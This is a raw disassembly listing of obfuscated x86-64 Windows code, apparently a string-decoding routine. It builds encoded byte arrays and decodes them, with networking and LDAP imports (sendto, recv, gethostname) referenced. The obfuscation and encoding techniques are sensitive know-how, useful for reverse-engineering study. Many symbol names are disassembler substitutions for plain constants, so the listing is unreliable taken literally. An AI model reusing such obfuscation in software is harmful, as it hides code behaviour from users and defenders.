jmp 0x140160176
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14015ffd1
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x14016015f
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015fd58
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14016013c
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xf70]
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r8b
jmp 0x140160189
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xf70]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xf70], al
add r9, r12
add rax, r9
sub r10, rax
jmp 0x1401601e3
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x1401601b7
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140160189
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14016013c
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xf70], cl
add r9, r12
jmp 0x14016015f
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, r12
jmp 0x140160242
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dil
mov byte [rbp + r10 + 0xf70], dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140160242
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xf70], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x140160233
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xf70]
add rax, r9
add r10, rax
add r10, r12
jmp 0x14015f89c
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x14015f893
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14015f87d
lea rdx, [rbp + 0x16a1180]
jmp 0x1401602a8
lea rdx, [rbp + 0x6bcd0c]
jmp 0x1401602a8
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0x218]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2eb0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401602dd
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov esi, 0x40
mov r9d, esi
lea r8d, [rsi - 0x3e]
lea rcx, [rbp + 0x2eb0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2eb0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2eb0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x9b0], 0x9b
mov byte [rbp + 0x9b1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x9b2], 0x90
mov byte [rbp + 0x9b3], 0xdb
mov byte [rbp + 0x9b4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x9b5], Ordinal_217
mov byte [rbp + 0x9b6], 0x7b
mov byte [rbp + 0x9b7], Ordinal_217
mov byte [rbp + 0x9b8], 0x43
mov byte [rbp + 0x9b9], Ordinal_211
mov byte [rbp + 0x9ba], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x9bb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x9bc], 0x5e
mov byte [rbp + 0x9bd], Ordinal_211
mov byte [rbp + 0x9be], 0x5d
mov byte [rbp + 0x9bf], Ordinal_211
mov byte [rbp + 0x9c0], WSASetLastError
mov byte [rbp + 0x9c1], 0xc9
mov byte [rbp + 0x9c2], 0x7a
mov byte [rbp + 0x9c3], 0xcb
mov byte [rbp + 0x9c4], Ordinal_79
mov byte [rbp + 0x9c5], Ordinal_200
mov byte [rbp + 0x9c6], 0x64
mov byte [rbp + 0x9c7], Ordinal_200
mov byte [rbp + 0x9c8], 0x54
mov byte [rbp + 0x9c9], 0xc1
mov byte [rbp + 0x9ca], 0x5b
mov byte [rbp + 0x9cb], Ordinal_200
mov byte [rbp + 0x9cc], 0x9f
mov byte [rbp + 0x9cd], 0x3d
mov byte [rbp + 0x9ce], 0x9a
mov byte [rbp + 0x9cf], 0x3f
mov byte [rbp + 0x9d0], 0x84
mov byte [rbp + 0x9d1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x9d2], 0xa8
mov byte [rbp + 0x9d3], Ordinal_60
mov byte [rbp + 0x9d4], 0xad
mov byte [rbp + 0x9d5], gethostname
mov byte [rbp + 0x9d6], 0xb8
mov byte [rbp + 0x9d7], Ordinal_60
mov byte [rbp + 0x9d8], 0xad
mov byte [rbp + 0x9d9], Ordinal_50
mov byte [rbp + 0x9da], 0xa0
mov byte [rbp + 0x9db], gethostname
mov byte [rbp + 0x9dc], 0xbf
mov byte [rbp + 0x9dd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x9de], 0x78
mov byte [rbp + 0x9df], Ordinal_50
mov byte [rbp + 0x9e0], Ordinal_143
mov byte [rbp + 0x9e1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x9e2], 0xb3
mov byte [rbp + 0x9e3], Ordinal_46
mov byte [rbp + 0x9e4], 0xb2
mov byte [rbp + 0x9e5], Ordinal_41
mov byte [rbp + 0x9e6], Ordinal_41
mov byte [rbp + 0x9e7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x9e8], rax
mov dword [rbp + 0x9f0], eax
mov word [rbp + 0x9f4], ax
mov byte [rbp + 0x9f6], al
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140161001
movzx r8d, byte [rbp + r9 + 0x9b0]
mov rdx, r8
cmp rbx, r9
ja 0x140160ff8
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140160525
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x44
jmp 0x14016055c
je 0x140160f72
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140160f41
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140160f1e
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140160ecf
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140160fef
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x14016058e
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x1401605cf
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140160ebe
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140160e9a
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140160e4d
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140160e26
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140160d98
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140160a69
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140160a55
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140160a33
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140160a21
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401609fe
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401609ea
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1401609c7
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401609a0
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x140160fcc
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140160fa5
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x140160782
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14016075b
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x140160735
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14016093a
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401608af
mov rbx, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14016089b
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140160878
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140160864
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140160841
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x14016081f
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401607fe
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x1401607db
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401607c7
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1401607a4
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401605dc
mov rbx, rcx
lea r10, [rcx + 6]
jmp 0x1401605dc
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x1401605cf
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14016055c
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x1401604ec
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140160ef1
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x140160b6d
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140160f3c
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140160d67
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x140160f5f
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140160f62
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140160da7
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140160dee
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x140160aa8
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp rbx, 4
jae 0x140160d44
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x140160c3c
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
cmp r10, 4
jb 0x140160d37
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140160ef1
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x1000
je 0x140160d72
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x140160b29
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401608d0
movabs rdx, 0x74d06cabcb703da8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140160dba
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140160f62
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x140160e35
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140160e6e
movabs rdx, 0xc116b11609a3a288
mov ecx, r15d
jmp 0x140160ea9
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140160f19
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x140160ede
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x140160a90
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14016095c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140160ac0
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160f8e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140160add
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x140160da7
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140160b08
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140160f62
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14016095c
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140160ea9
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140160b55
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x140160ef1
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140160b85
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160f19
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140160bb0
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x140160f5f
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140160bdc
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x140160dba
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140160c0c
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160dee
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401608d0
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140160f8e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140160c59
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x140160aa8
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140160c76
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140160da7
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140160c93
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140160e35
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140160cbf
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140160e6e
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140160cea
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x140160f3c
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140160d07
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140160b6d
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140160908
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140160ef1
mov byte [rbp + r9 + 0x9b0], dil
jmp 0x140160f9d
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x9b0]
sub dil, al
sub dil, 0x60
add dil, dl
add dil, r8b
jmp 0x140160e6e
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x9b0]
jmp 0x140160db4
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x9b0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x9b0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140160f8e
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160f5f
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x9b0], cl
jmp 0x140160f5f
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160f3c
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140160ede
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x9b0], cl
add r10, r12
jmp 0x140160f3c
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
sub r9, r12
jmp 0x140160f9d
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140160f9d
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x34
movzx eax, byte [rbp + r9 + 0x9b0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1401604d9
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401604d6
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x1401604c6
lea rdx, [rbp + 0x16f10e0]
jmp 0x140161008
lea rdx, [rbp + 0x68a444]
jmp 0x140161008
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x238]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2fc0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14016103d
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x2fc0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2fc0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2fc0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x880], 0xcb
mov byte [rbp + 0x881], Ordinal_143
mov byte [rbp + 0x882], 0xac
mov byte [rbp + 0x883], 0xf3
mov byte [rbp + 0x884], Ordinal_79
mov byte [rbp + 0x885], 0xf1
mov byte [rbp + 0x886], WSACleanup
mov byte [rbp + 0x887], 0xf7
mov byte [rbp + 0x888], 0x55
mov byte [rbp + 0x889], 0xf5
mov byte [rbp + 0x88a], 0xa2
mov byte [rbp + 0x88b], 0xfb
mov byte [rbp + 0x88c], 0x66
mov byte [rbp + 0x88d], 0xf9
mov byte [rbp + 0x88e], 0x55
mov byte [rbp + 0x88f], 0xff
mov byte [rbp + 0x890], 0x59
mov byte [rbp + 0x891], 0xfd
mov byte [rbp + 0x892], WSACleanup
mov byte [rbp + 0x893], 0xe3
mov byte [rbp + 0x894], 0x47
mov byte [rbp + 0x895], 0xe1
mov byte [rbp + 0x896], Ordinal_79
mov byte [rbp + 0x897], 0xe7
mov byte [rbp + 0x898], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x899], 0xe5
mov byte [rbp + 0x89a], 0x42
mov byte [rbp + 0x89b], 0xeb
mov byte [rbp + 0x89c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x89d], 0xe9
mov byte [rbp + 0x89e], sil
mov byte [rbp + 0x89f], 0xef
mov byte [rbp + 0x8a0], 0xb8
mov byte [rbp + 0x8a1], 0xed
mov byte [rbp + 0x8a2], 0x87
mov byte [rbp + 0x8a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8a4], 0x44
mov byte [rbp + 0x8a5], Ordinal_211
mov byte [rbp + 0x8a6], sil
mov byte [rbp + 0x8a7], Ordinal_217
mov byte [rbp + 0x8a8], 0x81
mov byte [rbp + 0x8a9], Ordinal_217
mov byte [rbp + 0x8aa], 0x7e
mov byte [rbp + 0x8ab], 0xdb
mov byte [rbp + 0x8ac], 0x7c
mov byte [rbp + 0x8ad], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8ae], WSACleanup
mov byte [rbp + 0x8af], 0xdf
mov byte [rbp + 0x8b0], Ordinal_143
mov byte [rbp + 0x8b1], 0xdd
mov byte [rbp + 0x8b2], 0x64
mov byte [rbp + 0x8b3], Ordinal_200
mov byte [rbp + 0x8b4], WSAGetLastError
mov byte [rbp + 0x8b5], 0xc1
mov byte [rbp + 0x8b6], 0x54
mov byte [rbp + 0x8b7], Ordinal_200
mov byte [rbp + 0x8b8], Ordinal_200
mov byte [rbp + 0x8b9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x8ba], eax
mov word [rbp + 0x8be], ax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, rsi
jae 0x140161e54
movzx r8d, byte [rbp + r9 + 0x880]
mov r11, r8
cmp rbx, r9
ja 0x140161e4b
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140161282
movabs r14, 0xda32561d88143dbe
lea rcx, [r9 + r14]
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x32
jmp 0x1401612c6
je 0x140161dbb
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140161d63
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140161d09
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140161cdf
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140161c94
movabs r14, 0xda32561d88143dbe
cmp r10, r9
ja 0x140161e42
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x1401612fb
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1a
jmp 0x14016150f
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140161c74
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140161c50
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140161c1e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140161c0a
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140161834
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140161811
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1401617fd
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401617d9
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401617c5
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401617a1
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14016177d
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x140161759
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140161736
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14016170f
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14016133c
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140161e1b
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140161df4
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x14016153e
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140161517
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x1401614f1
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x1401616eb
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1401616d7
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1401616b4
